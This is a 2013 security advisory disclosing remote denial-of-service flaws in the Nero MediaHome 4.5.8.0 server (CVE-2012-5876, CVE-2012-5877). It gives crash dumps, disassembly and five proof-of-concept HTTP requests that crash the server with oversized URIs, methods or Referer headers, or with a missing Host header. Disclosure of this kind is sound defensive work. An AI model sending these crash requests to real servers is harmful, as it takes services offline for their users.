Advisory ID: HTB23130 Product: Nero MediaHome Vendor: Nero Vulnerable Version(s): 4.5.8.0 and probably prior Tested Version: 4.5.8.0 in Windows 7 SP1 Vendor Notification: November 21, 2012 Public Disclosure: January 9, 2013 Vulnerability Type: Improper Handling of Length Parameter Inconsistency [CWE-130], Improper Handling of Undefined Parameters [CWE-236] CVE References: CVE-2012-5876, CVE-2012-5877 CVSSv2 Base Scores: 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P), 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P) Risk Level: Low Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab has discovered multiple remote DoS vulnerabilities in Nero Media Home server, which could be exploited by a malicious person to crash the server remotely. 1) Improper Handling of Length Parameter Inconsistency in Nero MediaHome server: CVE-2012-5876 1.1 The vulnerability exists due to improper handling of the URI length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP request of at least 500'000 characters long to port 54444/TCP (Nero MediaHome server's default port) and cause a stack-based buffer overrun that will immediately crash the Nero MediaHome server. Crash details: EIP: 7c921689 mov ecx,[ecx] EAX: 03b2a808 ( 62040072) -> (heap) EBX: 003e0000 ( 4063232) -> b@>@>" (heap) ECX: 00000000 ( 0) -> N/A EDX: 00000000 ( 0) -> N/A EDI: 03b2b000 ( 62042112) -> D (heap) ESI: 03b2a800 ( 62040064) -> (heap) EBP: 0526f854 ( 86440020) -> &|&B>>D&$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>.D. (stack) ESP: 0526f848 ( 86440008) -> >">&|&B>>D&$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>. (stack) +00: 003e0000 ( 4063232) -> b@>@>" (heap) +04: 00000022 ( 34) -> N/A +08: 003e0004 ( 4063236) -> b@>@>" (heap) +0c: 0526f88c ( 86440076) -> &$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>.D. D&|>|>|h& (stack) +10: 7c928ccd (2089979085) -> N/A +14: 00000000 ( 0) -> N/A Disasm around: 0x7c921664 mov ecx,[ebp+0x10] 0x7c921667 add eax,[ecx] 0x7c921669 cmp eax,0xfe00 0x7c92166e ja 0x7c920721 0x7c921674 cmp byte [ebp+0x14],0x0 0x7c921678 jnz 0x7c95ae10 0x7c92167e mov ecx,[esi+0xc] 0x7c921681 lea eax,[esi+0x8] 0x7c921684 mov edx,[eax] 0x7c921686 mov [ebp+0x8],ecx 0x7c921689 mov ecx,[ecx] 0x7c92168b cmp ecx,[edx+0x4] 0x7c92168e mov [ebp+0xc],edx 0x7c921691 jnz 0x7c921734 0x7c921697 cmp ecx,eax 0x7c921699 jnz 0x7c921734 0x7c92169f push esi 0x7c9216a0 push ebx 0x7c9216a1 call 0x7c920684 0x7c9216a6 mov eax,[ebp+0xc] 0x7c9216a9 mov ecx,[ebp+0x8] Proof of Concept: The following HTTP request will crash the vulnerable Nero MediaHome server remotely: GET /[A * 500000] HTTP/1.1 HOST: somehost.com ACCEPT: */* Accept-Encoding: None User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Close Accept-Transfer-Encoding: None 1.2 The vulnerability exists due to improper handling of the URI length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP HEAD request of at least 265'696 characters long to port 54444/TCP and cause a heap-based buffer overrun that will cause an immediate crash of Nero MediaHome server. Crash details: EIP: 7c921689 mov ecx,[ecx] EAX: 03b63008 ( 62271496) -> (heap) EBX: 003e0000 ( 4063232) -> # 8@>+ (heap) ECX: 00000000 ( 0) -> N/A EDX: 00000000 ( 0) -> N/A EDI: 03b64000 ( 62275584) -> B (heap) ESI: 03b63000 ( 62271488) -> (heap) EBP: 0527f864 ( 86505572) -> '|@'A>|B'$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' |`|]| (stack) ESP: 0527f858 ( 86505560) -> >!>'|@'A>|B'$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' | (stack) +00: 003e0000 ( 4063232) -> # 8@>+ (heap) +04: 00000021 ( 33) -> N/A +08: 003e0004 ( 4063236) -> # 8@>+ (heap) +0c: 0527f89c ( 86505628) -> '$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' |`|]|I||>|h'|'' (stack) +10: 7c928ccd (2089979085) -> N/A +14: 00000000 ( 0) -> N/A Disasm around: 0x7c921664 mov ecx,[ebp+0x10] 0x7c921667 add eax,[ecx] 0x7c921669 cmp eax,0xfe00 0x7c92166e ja 0x7c920721 0x7c921674 cmp byte [ebp+0x14],0x0 0x7c921678 jnz 0x7c95ae10 0x7c92167e mov ecx,[esi+0xc] 0x7c921681 lea eax,[esi+0x8] 0x7c921684 mov edx,[eax] 0x7c921686 mov [ebp+0x8],ecx 0x7c921689 mov ecx,[ecx] 0x7c92168b cmp ecx,[edx+0x4] 0x7c92168e mov [ebp+0xc],edx 0x7c921691 jnz 0x7c921734 0x7c921697 cmp ecx,eax 0x7c921699 jnz 0x7c921734 0x7c92169f push esi 0x7c9216a0 push ebx 0x7c9216a1 call 0x7c920684 0x7c9216a6 mov eax,[ebp+0xc] 0x7c9216a9 mov ecx,[ebp+0x8] Proof of Concept: The following HTTP request will crash the vulnerable Nero MediaHome server remotely: HEAD / [A * 265696] HTTP/1.1 ACCEPT: */* Accept-Encoding: None User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Close Accept-Transfer-Encoding: None 1.3 The vulnerability exists due to improper handling of the HTTP OPTIONS method length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted packet of at least 265'712 characters long to port 54444/TCP and cause a heap-based buffer overrun that will immediately crash the Nero MediaHome server. Crash details: EIP: 7c920a1b cmp ecx,[edx+0x4] EAX: 03c1bb90 ( 63028112) -> >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap) EBX: 003e0000 ( 4063232) -> @>+ (heap) ECX: 03c1bb90 ( 63028112) -> >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap) EDX: 03b50101 ( 62193921) -> N/A EDI: 03c1bb30 ( 63028016) -> yDPyDh8yDh >>#H"G^^^^o^I@_l (heap) ESI: 03c1bb88 ( 63028104) -> >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap) EBP: 033bfc78 ( 54262904) -> L;L (stack) ESP: 033bfc6c ( 54262892) -> >xL;L| >0;]| 9 9;FL|>>;|`;A|H>]|@X@8 >@>;;; |`|;9Lx> (stack) +00: 003e0000 ( 4063232) -> @>+ (heap) +04: 03c1bb78 ( 63028088) -> >>#H"G^^^^o^I@_lhf19fPf36dLa (heap) +08: 00000000 ( 0) -> N/A +0c: 033bfd4c ( 54263116) -> ;9Lx>x`;x;;xvSxU(@;;;;;hT;('@d;p@?x@@X@X@@ (stack) +10: 7c92084c (2089945164) -> N/A +14: 03adb908 ( 61716744) -> yDcI C8f8]palueeP>yyyy> @* * (heap) Disasm around: 0x7c9209fe mov al,[esi+0x5] 0x7c920a01 and al,0x10 0x7c920a03 test al,0x10 0x7c920a05 mov [edi+0x5],al 0x7c920a08 jnz 0x7c920aa0 0x7c920a0e mov ecx,[esi+0xc] 0x7c920a11 lea eax,[esi+0x8] 0x7c920a14 mov edx,[eax] 0x7c920a16 mov [ebp+0xc],ecx 0x7c920a19 mov ecx,[ecx] 0x7c920a1b cmp ecx,[edx+0x4] 0x7c920a1e mov [ebp+0x14],edx 0x7c920a21 jnz 0x7c921752 0x7c920a27 cmp ecx,eax 0x7c920a29 jnz 0x7c921752 0x7c920a2f push esi 0x7c920a30 push ebx 0x7c920a31 call 0x7c920684 0x7c920a36 mov eax,[ebp+0x14] 0x7c920a39 mov ecx,[ebp+0xc] 0x7c920a3c cmp eax,ecx Proof of Concept: The following HTTP request will crash the vulnerable Nero MediaHome server remotely: OPTIONS / [A * 265712] Host: somehost.com User-Agent: Mozilla/5.0 (Windows; U) Accept-Language: en-us,en;q=0.5 Keep-Alive: 300 Referer: http://www.host.com 1.4 The vulnerability exists due to improper handling of the HTTP REFERER header length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted Referer header of at least 265'566 characters long to port 54444/TCP and cause a heap-based buffer overrun that will immediately crash Nero MediaHome server. Crash details: EIP: 7c920a19 mov ecx,[ecx] EAX: 03c3c008 ( 63160328) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) EBX: 003e0000 ( 4063232) -> Tp@>+ (heap) ECX: 41414141 (1094795585) -> N/A EDX: 41414141 (1094795585) -> N/A EDI: 03c1af88 ( 63025032) -> B>VTP/1.1Host localhostUser-Agent Mozilla/5.0 (Windows; U)Accept-Language en-us,en;q=0.5Keep-AliB (heap) ESI: 03c3c000 ( 63160320) -> BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) EBP: 0527f828 ( 86505512) -> `' (stack) ESP: 0527f81c ( 86505500) -> >!>`'|VAAAAT'A>>B'$|>pgg|' |(|"|||>"|>><'' |(|"||x>'><' | (stack) +00: 003e0000 ( 4063232) -> Tp@>+ (heap) +04: 00000021 ( 33) -> N/A +08: 003e0004 ( 4063236) -> Tp@>+ (heap) +0c: 0527f860 ( 86505568) -> '$|>pgg|' |(|"|||>"|>><'' |(|"||x>'><' |>@'X`4' |`| (stack) +10: 7c928ccd (2089979085) -> N/A +14: 03ad5600 ( 61691392) -> >8*W=>@ 3:X`DS.MetaData.OriginalStreamNumber0[Jp (heap) Disasm around: 0x7c9209f8 jnz 0x7c95af5f 0x7c9209fe mov al,[esi+0x5] 0x7c920a01 and al,0x10 0x7c920a03 test al,0x10 0x7c920a05 mov [edi+0x5],al 0x7c920a08 jnz 0x7c920aa0 0x7c920a0e mov ecx,[esi+0xc] 0x7c920a11 lea eax,[esi+0x8] 0x7c920a14 mov edx,[eax] 0x7c920a16 mov [ebp+0xc],ecx 0x7c920a19 mov ecx,[ecx] 0x7c920a1b cmp ecx,[edx+0x4] 0x7c920a1e mov [ebp+0x14],edx 0x7c920a21 jnz 0x7c921752 0x7c920a27 cmp ecx,eax 0x7c920a29 jnz 0x7c921752 0x7c920a2f push esi 0x7c920a30 push ebx 0x7c920a31 call 0x7c920684 0x7c920a36 mov eax,[ebp+0x14] 0x7c920a39 mov ecx,[ebp+0xc] Proof of Concept: The following HTTP request will crash the vulnerable Nero MediaHome server remotely: GET / HTTP/1.1 Host: somehost.com User-Agent: Mozilla/5.0 (Windows; U) Accept-Language: en-us,en;q=0.5 Keep-Alive: 300 Connection: keep-alive Referer:[A * 265566] 2) Improper Handling of Undefined Parameters in Nero MediaHome server: CVE-2012-5877 2.1 The vulnerability exists due to improper handling of the HTTP HOST header within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted packet with missing HOST HTTP header. The Nero MediaHome server HTTP parser will crash immediately after receiving the aforementioned malformed HTTP request. Crash details: EIP: 10003171 mov [eax+0x18],ebp EAX: 00000000 ( 0) -> N/A EBX: 037bd090 ( 58445968) -> x4xx @R px?x? (heap) ECX: 039cddea ( 60612074) -> localhost (heap) EDX: 039cddea ( 60612074) -> localhost (heap) EDI: 037bc888 ( 58443912) -> ||{sP@OQ6E}{AY+ (heap) ESI: 037c7fb0 ( 58490800) -> `?|`?LPCMH|faudio/l16a| ||MP3| (heap) EBP: 00000009 ( 9) -> N/A ESP: 0563fad0 ( 90438352) -> {s|~{x`)huc1P3quhucuthucuyuuhuhucuuM|$cVhx (stack) +00: 037bd090 ( 58445968) -> x4xx @R px?x? (heap) +04: 039cdde8 ( 60612072) -> localhostUser-Agent: Mozilla/5.0 (Windows; U)Accept-Language: en-us,en;q=0.5Keep-Alive: 300Connection: keep-aliveReferer: http://www.htbridge.ch (heap) +08: 00000000 ( 0) -> N/A +0c: 00000001 ( 1) -> N/A +10: 000000b8 ( 184) -> N/A +14: 037c7318 ( 58487576) -> hhuA_ARG_TYPE_Result7$*pb$ (heap) Disasm around: 0x10003156 mov edx,[esi+0x8] 0x10003159 mov ebp,[esi+0xc] 0x1000315c push byte 0x1 0x1000315e push eax 0x1000315f push ecx 0x10003160 push ebx 0x10003161 mov [edi+0x40],esi 0x10003164 mov [esp+0x2c],edx 0x10003168 call 0x10002730 0x1000316d mov ecx,[esp+0x2c] 0x10003171 mov [eax+0x18],ebp 0x10003174 mov ebp,[esp+0x24] 0x10003178 add esp,0x10 0x1000317b mov [eax+0x14],ecx 0x1000317e mov edx,[ebp+0x8] 0x10003181 test edx,edx 0x10003183 mov [esp+0x14],edx 0x10003187 jnz 0x10002ff0 0x1000318d mov eax,[esp+0x24] 0x10003191 push eax 0x10003192 call 0x10002c20 Proof of Concept: The following HTTP request will crash Nero MediaHome server remotely: GET / HTTP/1.1 : somehost.com User-Agent: Mozilla/5.0 (Windows; U) Accept-Language: en-us,en;q=0.5 Keep-Alive: 300 Connection: keep-alive Referer: http://www.host.com ----------------------------------------------------------------------------------------------- Solution: Vendor last response (January 9, 2013): "Nero Media Home 4 is not maintained anymore since 2009/10 so at the moment we do not have the resources to fix this problem very soon." As a temporary solution it is advised to remove the vulnerable application from your system. ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23130 - https://www.htbridge.com/advisory/HTB23130 - Nero MediaHome Server Multiple Remote DoS vulnerabilities. [2] Nero - http://www.nero.com - Nero MediaHome server easily distributes music, videos and photos over your network. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE? is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.